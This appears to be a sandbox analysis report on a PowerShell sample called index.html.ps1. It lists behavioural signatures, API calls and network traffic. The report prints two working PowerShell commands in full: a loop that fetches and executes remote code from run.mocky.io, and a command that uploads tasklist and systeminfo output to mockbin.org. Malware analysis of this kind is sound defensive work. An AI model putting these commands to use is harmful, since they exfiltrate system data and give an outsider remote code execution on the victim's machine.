Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 3, 2023, 9:56 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (3 events)

Data received	HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8 Date: Wed, 03 May 2023 00:56:17 GMT Content-Length: 141 Sozu-Id: 01GZFHRAGHF6RG2A11RVV1XH8N $T=tasklist;$S=systeminfo;(New-Object System.Net.WebClient).UploadString('http://mockbin.org/bin/e8bfd045-2b14-4afc-9372-b723f7d76918',$T+$S)
Data received	HTTP/1.1 100 Continue
Data received	HTTP/1.1 200 OK Date: Wed, 03 May 2023 00:56:24 GMT Content-Length: 0 Connection: keep-alive Vary: X-HTTP-Method-Override Etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk" Via: 1.1 vegur CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9CldHxC4eXc4MeppHrRdoZUyadiXR4GSx3gQpa5VrdSbZ38qympMKztoTz15nBKWl0PIb3%2FOFyK1kyrMM3IgUcjSROiLIgEtqNdX9u%2BM9jr36AS%2BWAFWlILrEWRa9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7c148b3b6b8fe0ac-NRT alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Poweshell is sending data to a remote host (3 events)

Data sent	GET /v3/acea62da-ca05-46d1-bb80-0b036af7467c HTTP/1.1 Host: run.mocky.io Connection: Keep-Alive
Data sent	POST /bin/e8bfd045-2b14-4afc-9372-b723f7d76918 HTTP/1.1 Host: mockbin.org Content-Length: 5390 Expect: 100-continue Connection: Keep-Alive
Data sent

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 3, 2023, 9:56 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 3, 2023, 9:56 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\system32\tasklist.exe"
cmdline	"C:\Windows\system32\systeminfo.exe"

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send May 3, 2023, 9:56 a.m.	buffer: GET /v3/acea62da-ca05-46d1-bb80-0b036af7467c HTTP/1.1 Host: run.mocky.io Connection: Keep-Alive socket: 1432 sent: 101	1	101
send May 3, 2023, 9:56 a.m.	buffer: POST /bin/e8bfd045-2b14-4afc-9372-b723f7d76918 HTTP/1.1 Host: mockbin.org Content-Length: 5390 Expect: 100-continue Connection: Keep-Alive socket: 1524 sent: 146	1	146
send May 3, 2023, 9:56 a.m.	buffer: socket: 1524 sent: 5390	1	5390

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300}
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300}
parent_process	powershell.exe	martian_process	"C:\Windows\system32\tasklist.exe"
parent_process	powershell.exe	martian_process	"C:\Windows\system32\systeminfo.exe"

The process powershell.exe wrote an executable file to disk (2 events)

file	C:\Windows\System32\tasklist.exe
file	C:\Windows\System32\systeminfo.exe

index.html.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All